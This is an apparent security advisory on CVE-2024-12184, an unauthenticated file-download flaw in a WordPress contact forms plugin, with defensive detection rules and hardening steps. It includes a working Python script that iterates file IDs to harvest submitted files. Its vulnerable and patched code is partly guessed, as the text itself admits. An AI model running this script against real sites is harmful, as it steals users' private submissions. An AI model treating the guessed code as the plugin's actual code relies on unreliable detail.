CVE-2024-12184

Executive Summary

CVE-2024-12184 is a Missing Authorization vulnerability in the WordPress plugin Contact Forms by Cimatti (versions up to and including 1.9.4). The flaw resides in the accua_forms_download_submitted_file() function, which lacks a capability check. This allows unauthenticated attackers to download any file submitted through the plugin’s forms, leading to unauthorized data disclosure of sensitive user submissions.

This is a WordPress ecosystem issue; the vulnerability is entirely within the plugin’s code and does not involve the web server (Apache/Nginx). The CVSS score is 5.3 (Medium), but the impact is amplified by the potential exposure of PII, medical data, or other confidential information stored in form submissions.

Supply Chain & Package Security

This is a WordPress plugin, not an NPM/PyPI/Go/Ruby package. However, the plugin is distributed via the WordPress plugin repository and can be auto-updated. The lack of a patch means site administrators must manually remove or replace the plugin.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – The vulnerable component is the plugin itself.
• Confidentiality (C): Low (L) – Limited to form submission data.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the vulnerability is trivial to exploit and could be weaponized quickly.

Deep Dive & Mechanics

The vulnerability is a classic Missing Authorization (CWE-862). The function accua_forms_download_submitted_file() is intended to allow administrators to download files uploaded via contact forms. However, it does not call current_user_can() or any other capability check before processing the request.

The function likely uses a nonce or file ID parameter (e.g., ?accua_forms_download=123) to identify the file. An attacker can enumerate or brute-force these IDs to download arbitrary files. The plugin stores uploaded files in the WordPress uploads directory, but the download function bypasses any access controls.

Attack Flow:

1. Attacker identifies a WordPress site using Contact Forms by Cimatti.
2. Attacker sends a GET request to /wp-admin/admin-ajax.php?action=accua_forms_download_submitted_file&file_id=1.
3. The plugin returns the file content without authentication.
4. Attacker iterates file IDs to harvest all submitted data.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.9.4):

function accua_forms_download_submitted_file() {
    $file_id = $_GET['file_id'];
    // No capability check
    $file_path = get_uploaded_file_path($file_id);
    if (file_exists($file_path)) {
        header('Content-Type: application/octet-stream');
        readfile($file_path);
    }
    wp_die();
}
add_action('wp_ajax_nopriv_accua_forms_download_submitted_file', 'accua_forms_download_submitted_file');

Patched Code (Hypothetical):

function accua_forms_download_submitted_file() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $file_id = $_GET['file_id'];
    $file_path = get_uploaded_file_path($file_id);
    if (file_exists($file_path)) {
        header('Content-Type: application/octet-stream');
        readfile($file_path);
    }
    wp_die();
}
add_action('wp_ajax_accua_forms_download_submitted_file', 'accua_forms_download_submitted_file');

The patched version adds a capability check (manage_options) and removes the nopriv_ prefix from the AJAX action, ensuring only authenticated administrators can trigger the function.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with Contact Forms by Cimatti <= 1.9.4.
• A valid file ID (can be guessed or enumerated).

Exploit Script (Python):

import requests
import sys

def exploit(target_url, file_id):
    ajax_url = target_url.rstrip('/') + '/wp-admin/admin-ajax.php'
    params = {
        'action': 'accua_forms_download_submitted_file',
        'file_id': file_id
    }
    response = requests.get(ajax_url, params=params)
    if response.status_code == 200 and len(response.content) > 0:
        print(f"[+] Downloaded file ID {file_id}")
        with open(f"downloaded_{file_id}.bin", "wb") as f:
            f.write(response.content)
    else:
        print(f"[-] Failed to download file ID {file_id}")

if __name__ == "__main__":
    target = sys.argv[1]
    for fid in range(1, 100):
        exploit(target, fid)

Usage: python exploit.py http://target-site.com

Blue Team (Detection & Hardening)

Detection:

• Monitor for repeated requests to /wp-admin/admin-ajax.php with action=accua_forms_download_submitted_file from unauthenticated IPs.
• Look for sequential file_id parameters in logs.

Hardening:

• Immediately disable or remove the plugin until a patch is released.
• Use a Web Application Firewall (WAF) to block requests to the vulnerable AJAX action from unauthenticated users.
• Implement file access logging and alert on anomalous downloads.

Indicators of Compromise (IOCs)

• URL Pattern: /wp-admin/admin-ajax.php?action=accua_forms_download_submitted_file&file_id=*
• HTTP Request: GET requests to the above URL with varying file_id values.
• User Agent: Any (no specific UA required).
• Source IP: Multiple sequential requests from the same IP.
• File Access: Unauthorized access to files in /wp-content/uploads/accua_forms/ (or similar).

Detection Engineering

YARA Rule

rule CVE_2024_12184_WordPress_Cimatti_Forms {
    meta:
        description = "Detects exploitation attempts for CVE-2024-12184 in Contact Forms by Cimatti"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-12184"
    strings:
        $ajax_action = "accua_forms_download_submitted_file"
        $file_id_param = "file_id="
    condition:
        $ajax_action and $file_id_param
}

Sigma Rule

title: CVE-2024-12184 Exploitation Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated requests to download submitted files via Contact Forms by Cimatti
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'action=accua_forms_download_submitted_file'
    condition: selection
falsepositives:
    - Legitimate admin downloads (rare)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-12184 - Contact Forms by Cimatti Unauthenticated File Download";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=accua_forms_download_submitted_file"; http_uri;
    content:"file_id="; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin via WordPress admin or by renaming the plugin folder via FTP/SSH.
2. Remove the plugin if not essential.
3. Audit access logs for any unauthorized file downloads.

Long-Term Fix:

• The vendor (Cimatti) must release a patched version (>= 1.9.5) that adds capability checks and removes the nopriv_ AJAX hook.
• Until then, apply a virtual patch using a WAF to block the vulnerable endpoint.

Workaround:

• Add the following to .htaccess (if using Apache):

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{QUERY_STRING} action=accua_forms_download_submitted_file [NC]
RewriteRule ^ - [F,L]
</IfModule>

Valters IT
Securing Digital Frontiers